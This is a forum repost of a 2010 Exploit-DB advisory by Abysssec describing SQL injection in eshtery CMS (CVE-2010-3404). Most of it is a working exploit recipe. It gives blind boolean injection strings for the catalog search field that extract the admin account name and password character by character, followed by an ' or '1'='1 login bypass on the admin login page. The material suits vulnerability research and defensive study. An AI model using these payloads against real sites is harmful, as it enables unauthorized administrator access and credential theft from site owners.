Exploit eshtery CMS - SQL Injection

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
14980
Проверка EDB
  1. Пройдено
Автор
ABYSSSEC
Тип уязвимости
WEBAPPS
Платформа
ASP
CVE
cve-2010-3404
Дата публикации
2010-09-12
eshtery CMS - SQL Injection
Код:
'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub12-eshtery-cms-sql-injection-vulnerability/
'''


Abysssec Inc Public Advisory
 
  Title            :  eshtery CMS Sql Injection Vulnerability
  Affected Version :  eshtery copyrights 2003-2004
  Discovery        :  www.abysssec.com
  Vendor	   :  http://eshtery.she7ata.com/projects/eshtery/

  Demo  	   :  http://eshtery.she7ata.com/projects/eshtery/
  Download Links   :  http://sourceforge.net/projects/eshtery/
  
 
Description :
===========================================================================================      
1) SQL Injection

  for successful injection in this cms you have to pass two steps.
      
   Step 1:
   ----------------------------------------------------------------------------------------
          Go to this path:
                 http://Example.com/catlgsearch.aspx

          and enter this value in Criteria field:
                 %') and 1=1 AND (Item.iname LIKE '%
    
          and click on "go" button. You will see that the data will be loaded.
          
          Now enter this value:
                 %') and 1=2 AND (Item.iname LIKE '%
           
          With this value no data will be loaded.


          So if we enter below value, with the following technique we can define the first character 
          of AccName field of Admins table :
                 %') and 1=IIF((select mid(last(AccName),1,1) from (select top 1 AccName from admins))='a',1,2) AND (Item.iname LIKE '% 

          If the first character is 'a', the data will be loaded. If not, you will see nothing.
          
          Second character:
                 %') and 1=IIF((select mid(last(AccName),2,1) from (select top 1 AccName from admins))='d',1,2) AND (Item.iname LIKE '% 

          and respectivly you can acqure another characters.

          As a result, the first value of AccName field from Admins table acqured.  

          With this method you can obtain the Password value of Admin from Admins table
          and going to other steps is not  necessary.


    Step 2:
   ----------------------------------------------------------------------------------------          
          The value of AccName obtained in the first step(for example: admin).
          You can go to adminlogin.aspx page:
                 http://Example.com/adminlogin.aspx 

          and enter this value to login: 
                 username : admin' or '1'='1 
        	 password : foo
  
          Now you are admin of site.

  
          

===========================================================================================
 
Источник
www.exploit-db.com

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